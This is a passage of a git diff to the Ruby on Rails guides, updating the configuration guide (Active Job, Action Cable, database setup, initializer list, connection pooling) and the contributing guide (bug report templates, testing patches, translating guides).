executed. Possible values are `:sorted` and `:random`. Currently defaults to `:sorted`. In Rails 5.0, the default will be changed to `:random` instead. +* `config.active_support.test_order` sets the order that test cases are executed. Possible values are `:random` and `:sorted`. This option is set to `:random` in `config/environments/test.rb` in newly-generated applications. If you have an application that does not specify a `test_order`, it will default to `:sorted`, *until* Rails 5.0, when the default will become `:random`. -* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`. +* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`. * `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. * `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`. -* `config.active_support.halt_callback_chains_on_return_false` specifies whether ActiveRecord, ActiveModel and ActiveModel::Validations callback chains can be halted by returning `false` in a 'before' callback. Defaults to `true`. +* `ActiveSupport.halt_callback_chains_on_return_false` specifies whether Active Record and Active Model callback chains can be halted by returning `false` in a 'before' callback. When set to `false`, callback chains are halted only when explicitly done so with `throw(:abort)`. When set to `true`, callback chains are halted when a callback returns `false` (the previous behavior before Rails 5) and a deprecation warning is given. Defaults to `true` during the deprecation period. New Rails 5 apps generate an initializer file called `callback_terminator.rb` which sets the value to `false`. This file is *not* added when running `rails app:update`, so returning `false` will still work on older apps ported to Rails 5 and display a deprecation warning to prompt users to update their code. * `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. @@ -528,6 +586,69 @@ There are a few configuration options available in Active Support: * `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. +### Configuring Active Job + +`config.active_job` provides the following configuration options: + +* `config.active_job.queue_adapter` sets the adapter for the queueing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). + + ```ruby + # Be sure to have the adapter's gem in your Gemfile + # and follow the adapter's specific installation + # and deployment instructions. + config.active_job.queue_adapter = :sidekiq + ``` + +* `config.active_job.default_queue_name` can be used to change the default queue name. By default this is `"default"`. + + ```ruby + config.active_job.default_queue_name = :medium_priority + ``` + +* `config.active_job.queue_name_prefix` allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used. + + The following configuration would queue the given job on the `production_high_priority` queue when run in production: + + ```ruby + config.active_job.queue_name_prefix = Rails.env + ``` + + ```ruby + class GuestsCleanupJob < ActiveJob::Base + queue_as :high_priority + #.... + end + ``` + +* `config.active_job.queue_name_delimiter` has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name. + + The following configuration would queue the provided job on the `video_server.low_priority` queue: + + ```ruby + # prefix must be set for delimiter to be used + config.active_job.queue_name_prefix = 'video_server' + config.active_job.queue_name_delimiter = '.' + ``` + + ```ruby + class EncoderJob < ActiveJob::Base + queue_as :low_priority + #.... + end + ``` + +* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging. + +### Configuring Action Cable + +* `config.action_cable.url` accepts a string for the URL for where + you are hosting your Action Cable server. You would use this option +if you are running Action Cable servers that are separated from your +main application. +* `config.action_cable.mount_path` accepts a string for where to mount Action + Cable, as part of the main server process. Defaults to `/cable`. +You can set this as nil to not mount Action Cable as part of your +normal Rails server. ### Configuring a Database @@ -570,7 +691,7 @@ TIP: You don't have to update the database configurations manually. If you look ### Connection Preference -Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact. +Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact. If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable: @@ -670,11 +791,11 @@ development: timeout: 5000 ``` -NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. +NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. -#### Configuring a MySQL Database +#### Configuring a MySQL or MariaDB Database -If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section: +If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section: ```yaml development: @@ -687,7 +808,7 @@ development: socket: /tmp/mysql.sock ``` -If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate. +If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate. #### Configuring a PostgreSQL Database @@ -729,9 +850,9 @@ development: database: db/development.sqlite3 ``` -#### Configuring a MySQL Database for JRuby Platform +#### Configuring a MySQL or MariaDB Database for JRuby Platform -If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: +If you choose to use MySQL or MariaDB and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: ```yaml development: @@ -784,7 +905,7 @@ Rails will now prepend "/app1" when generating links. #### Using Passenger -Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri). +Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdirectory). #### Using a Reverse Proxy @@ -826,15 +947,6 @@ server { Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information. -#### Considerations when deploying to a subdirectory - -Deploying to a subdirectory in production has implications on various parts of -Rails. - -* development environment: -* testing environment: -* serving static assets: -* asset pipeline: Rails Environment Settings -------------------------- @@ -918,93 +1030,110 @@ Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you ca Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated). -* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it. +* `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it. + +* `load_active_support`: Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default. + +* `initialize_logger`: Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`. + +* `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. + +* `set_clear_dependencies_hook`: This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. + +* `initialize_dependency_mechanism`: If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. + +* `bootstrap_hook`: Runs all configured `before_initialize` blocks. -* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default. +* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -* `initialize_logger` Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`. +* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. -* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. +* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". -* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. +* `active_support.initialize_beginning_of_week`: Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. -* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. +* `active_support.set_configs`: Sets up Active Support by using the settings in `config.active_support` by `send`'ing the method names as setters to `ActiveSupport` and passing the values through. -* `bootstrap_hook` Runs all configured `before_initialize` blocks. +* `action_dispatch.configure`: Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. -* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. +* `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. -* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. +* `action_controller.assets_config`: Initializes the `config.actions_controller.assets_dir` to the app's public directory if not explicitly configured. -* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". +* `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`. -* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. +* `action_controller.parameters_config`: Configures strong parameters options for `ActionController::Parameters`. -* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. +* `action_controller.set_configs`: Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. -* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. +* `action_controller.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. -* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`. +* `active_record.initialize_timezone`: Sets `ActiveRecord::Base.time_zone_aware_attributes` to `true`, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. -* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`. +* `active_record.logger`: Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. -* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. +* `active_record.migration_error`: Configures middleware to check for pending migrations. -* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access. +* `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available. -* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. +* `active_record.warn_on_records_fetched_greater_than`: Enables warnings when queries return large numbers of records. -* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. +* `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. -* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. +* `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment. -* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment. +* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger. -* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger. +* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. -* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. +* `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files. -* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. +* `active_job.logger`: Sets `ActiveJob::Base.logger` - if it's not already set - + to `Rails.logger`. -* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. +* `active_job.set_configs`: Sets up Active Job by using the settings in `config.active_job` by `send`'ing the method names as setters to `ActiveJob::Base` and passing the values through. -* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access. +* `action_mailer.logger`: Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. -* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`. +* `action_mailer.set_configs`: Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. -* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`. +* `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. -* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application. +* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.load_paths` and all autoload paths to `$LOAD_PATH`. -* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files. +* `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`. -* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application. +* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application. -* `load_environment_config` Loads the `config/environments` file for the current environment. +* `add_locales`: Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files. -* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application. +* `add_view_paths`: Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application. -* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. +* `load_environment_config`: Loads the `config/environments` file for the current environment. -* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. +* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application. -* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. +* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. -* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. +* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. -* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. +* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. -* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. +* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. -* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request. +* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. -* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`. +* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. -* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines. +* `build_middleware_stack`: Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request. -* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`. +* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`. -* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true. +* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines. + +* `set_routes_reloader`: Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`. + +* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`. Database pooling ---------------- @@ -1019,22 +1148,22 @@ development: timeout: 5000 ``` -Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. +Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit. -Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. +Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue. If you try to use more connections than are available, Active Record will block -and wait for a connection from the pool. When it cannot get connection, a timeout -error similar to given below will be thrown. +you and wait for a connection from the pool. If it cannot get a connection, a +timeout error similar to that given below will be thrown. ```ruby -ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it: +ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds) ``` -If you get the above error, you might want to increase the size of connection -pool by incrementing the `pool` option in `database.yml` +If you get the above error, you might want to increase the size of the +connection pool by incrementing the `pool` option in `database.yml` -NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. +NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections. Custom configuration @@ -1043,18 +1172,45 @@ Custom configuration You can configure your own code through the Rails configuration object with custom configuration. It works like this: ```ruby - config.x.payment_processing.schedule = :daily - config.x.payment_processing.retries = 3 - config.x.super_debugger = true + config.payment_processing.schedule = :daily + config.payment_processing.retries = 3 + config.super_debugger = true ``` These configuration points are then available through the configuration object: ```ruby - Rails.configuration.x.payment_processing.schedule # => :daily - Rails.configuration.x.payment_processing.retries # => 3 - Rails.configuration.x.super_debugger # => true - Rails.configuration.x.super_debugger.not_set # => nil + Rails.configuration.payment_processing.schedule # => :daily + Rails.configuration.payment_processing.retries # => 3 + Rails.configuration.super_debugger # => true + Rails.configuration.super_debugger.not_set # => nil + ``` + +You can also use `Rails::Application.config_for` to load whole configuration files: + + ```ruby + # config/payment.yml: + production: + environment: production + merchant_id: production_merchant_id + public_key: production_public_key + private_key: production_private_key + development: + environment: sandbox + merchant_id: development_merchant_id + public_key: development_public_key + private_key: development_private_key + + # config/application.rb + module MyApp + class Application < Rails::Application + config.payment = config_for(:payment) + end + end + ``` + + ```ruby + Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id ``` Search Engines Indexing @@ -1062,7 +1218,7 @@ Search Engines Indexing Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index -these sites will first analyse the `http://your-site.com/robots.txt` file to +these sites will first analyze the `http://your-site.com/robots.txt` file to know which pages it is allowed to index. Rails creates this file for you inside the `/public` folder. By default, it allows @@ -1076,3 +1232,25 @@ Disallow: / To block just specific pages, it's necessary to use a more complex syntax. Learn it on the [official documentation](http://www.robotstxt.org/robotstxt.html). + +Evented File System Monitor +--------------------------- + +If the [listen gem](https://github.com/guard/listen) is loaded Rails uses an +evented file system monitor to detect changes when `config.cache_classes` is +`false`: + +```ruby +group :development do + gem 'listen', '~> 3.0.4' +end +``` + +Otherwise, in every request Rails walks the application tree to check if +anything has changed. + +On Linux and Mac OS X no additional gems are needed, but some are required +[for *BSD](https://github.com/guard/listen#on-bsd) and +[for Windows](https://github.com/guard/listen#on-windows). + +Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations). diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index 018100c316..59c902e148 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -15,6 +15,9 @@ After reading this guide, you will know: Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. +As mentioned in [Rails +README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/). + -------------------------------------------------------------------------------- Reporting an Issue @@ -28,19 +31,23 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) -Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. +Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix. Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. -### Create a Self-Contained gist for Active Record and Action Controller Issues +### Create an Executable Test Case + +Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point: + +* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) +* Template for Action Pack (controllers, routing) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) +* Generic template for other issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb) + +These templates include the boilerplate code to set up a test case against either a released version of Rails (`*_gem.rb`) or edge Rails (`*_master.rb`). + +Simply copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing. -If you are filing a bug report, please use -[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or -[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) -if the bug is found in a published gem, and -[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or -[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) -if the bug happens in the master branch. +You can then share your executable test case as a [gist](https://gist.github.com), or simply paste the content into the issue description. ### Special Treatment for Security Issues @@ -57,12 +64,12 @@ can expect it to be marked "invalid" as soon as it's reviewed. Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is -anything that fixes already existing behavior that is misbehaving. Sometimes, +anything that causes incorrect behavior. Sometimes, the core team will have to make a judgement call. That said, the distinction generally just affects which release your patch will get in to; we love feature submissions! They just won't get backported to maintenance branches. -If you'd like feedback on an idea for a feature before doing the work for make +If you'd like feedback on an idea for a feature before doing the work to make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find @@ -75,17 +82,17 @@ discussions new features require. Helping to Resolve Existing Issues ---------------------------------- -As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: ### Verifying Bug Reports For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing. -If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem. +If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem. If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section. -Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. +Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. ### Testing Patches @@ -98,7 +105,7 @@ $ git checkout -b testing_branch Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails. ```bash -$ git remote add JohnSmith git://github.com/JohnSmith/rails.git +$ git remote add JohnSmith https://github.com/JohnSmith/rails.git $ git pull JohnSmith orange ``` @@ -113,7 +120,7 @@ Once you're happy that the pull request contains a good change, comment on the G >I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. -If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. +If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. Contributing to the Rails Documentation --------------------------------------- @@ -121,13 +128,13 @@ Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: the guides, which help you learn about Ruby on Rails, and the API, which serves as a reference. -You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides). +You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails. -You can either open a pull request to [Rails](http://github.com/rails/rails) or +You can either open a pull request to [Rails](https://github.com/rails/rails) or ask the [Rails core team](http://rubyonrails.org/core) for commit access on -[docrails](http://github.com/rails/docrails) if you contribute regularly. +docrails if you contribute regularly. Please do not open pull requests in docrails, if you'd like to get feedback on your -change, ask for it in [Rails](http://github.com/rails/rails) instead. +change, ask for it in [Rails](https://github.com/rails/rails) instead. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. @@ -141,6 +148,42 @@ NOTE: To help our CI servers you should add [ci skip] to your documentation comm WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. +Translating Rails Guides +------------------------ + +We are happy to have people volunteer to translate the Rails guides into their own language. +If you want to translate the Rails guides in your own language, follows these steps: + +* Fork the project (rails/rails). +* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian. +* Copy the contents of *guides/source* into your own language directory and translate them. +* Do NOT translate the HTML files, as they are automatically generated. + +To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT): + +```bash +$ bundle install +$ bundle exec rake guides:generate:html 